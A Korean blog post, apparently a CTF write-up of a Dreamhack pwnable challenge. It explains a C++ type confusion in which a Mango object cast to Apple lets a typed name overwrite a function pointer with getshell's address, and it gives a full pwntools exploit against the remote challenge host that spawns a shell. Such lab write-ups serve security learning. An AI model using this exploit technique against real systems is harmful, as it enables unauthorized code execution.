728x90
해당 프로그램은 아래와 같이 과일을 만들고 먹는 귀여운 프로그램이다.
문제가 있는 코드를 살펴보면 아래의 코드에서 문제를 찾을 수 있다.
case 3:
if(appleflag && mangoflag){
applemangoflag = 1;
mixer = static_cast<Apple*>(mango);
std::cout << "Applemango name: ";
std::cin >> applemangoname;
strncpy(mixer->description, applemangoname.c_str(), 8);
std::cout << "Applemango Created!" << std::endl;
} else if(appleflag == 0 && mangoflag == 0){
std::cout << "You don't have anything!" << std::endl;
} else if(appleflag == 0){
std::cout << "You don't have apple!" << std::endl;
} else if(mangoflag == 0){
std::cout << "You don't have mango!" << std::endl;
}
break;
문제점
- mixer = static_cast<Apple*>(mango);
- strncpy(mixer->description, applemangoname.c_str(), 8);
class Apple : public Base{
public:
virtual void yum(){
std::cout << description << std::endl;
}
Apple(){
strcpy(description, "Appleyum\x00");
appleflag = 1;
};
~Apple(){
appleflag = 0;
}
char description[8];
};
class Mango : public Base{
public:
virtual void yum(){
description();
}
Mango(){
description = mangohi;
mangoflag = 1;
};
~Mango(){
mangoflag = 0;
}
void (*description)(void);
};
1번이 문제가 될 수 있는 이유는 위의 코드를 보면 Apple과 Mango의 클래스의 구조가 다르다.
구조가 다른데 mango의 객체를 apple의 클래스로 지정을 하게 되면 Type_confusion이 발생한다.
2번이 문제가 될 수 있는 이유는 mixer->description을 입력받는다.
void getshell(){
system("/bin/sh");
}
여기에 getshell의 메모리 주소를 넣으면 어떻게 될까?(아래와 같이 getshell의 메모리 주소는 0x400fa6이라는 것을 알 수 있다.)
pwndbg> p getshell
$1 = {<text variable, no debug info>} 0x400fa6 <getshell()>
description에 getshell의 메모리 주소인 0x400fa6이라는 값을 저장하면? (case3에서 믹스 과일 이름을 입력할때 description에 우리가 입력한 값이 들어가게 된다 그때 0x400fa6을 리틀엔디안 방식으로 저장한다.)
case 4:
std::cout << "1. Apple\n2. Mango\n3. Applemango\n[*] Select : ";
std::cin >> selector;
if(selector == 1){
if(appleflag){
apple->yum();
}
else{ std::cout << "You don't have apple!" << std::endl; }
} else if (selector == 2){
if(mangoflag){
mango->yum();
}
else{
std::cout << "you don't have mango!" << std::endl;
}
} else if (selector == 3){
if(applemangoflag) {
mixer->yum();
}
else{
std::cout << "you don't have Applemango!" << std::endl;
}
} else {
std::cout << "Wrong Choice!" << std::endl;
}
break;
case4(과일 먹는) 에서 selector == 3 을 먹게되면 mixer->yum()라는 게 동작하는데 description에 getshell의 메모리 주소를 저장했으니 mixer() -> yum() -> description() -> getshell() 이 실행이 될 것이다.
이것을 파이썬 페이로드로 보낸다고 하면
from pwn import *
import warnings
r = remote('host3.dreamhack.games', 16662)
#p = process("./FILE LOCATE")
r.sendlineafter(': '.encode(),'1'.encode())
r.sendlineafter(': '.encode(),'2'.encode())
r.sendlineafter(': '.encode(),'3'.encode())
r.sendlineafter(': '.encode(),p32(0x400fa6))
r.sendlineafter(': '.encode(),'4'.encode())
r.sendlineafter(': '.encode(),'3'.encode())
r.interactive()
이렇게 작성한 페이로드를 실행하면!
728x90
'Game > Pwnable' 카테고리의 다른 글
Format String Bug 예제 1 (0) | 2024.09.22 |
---|---|
Format String Bug (FSB) (3) | 2024.09.22 |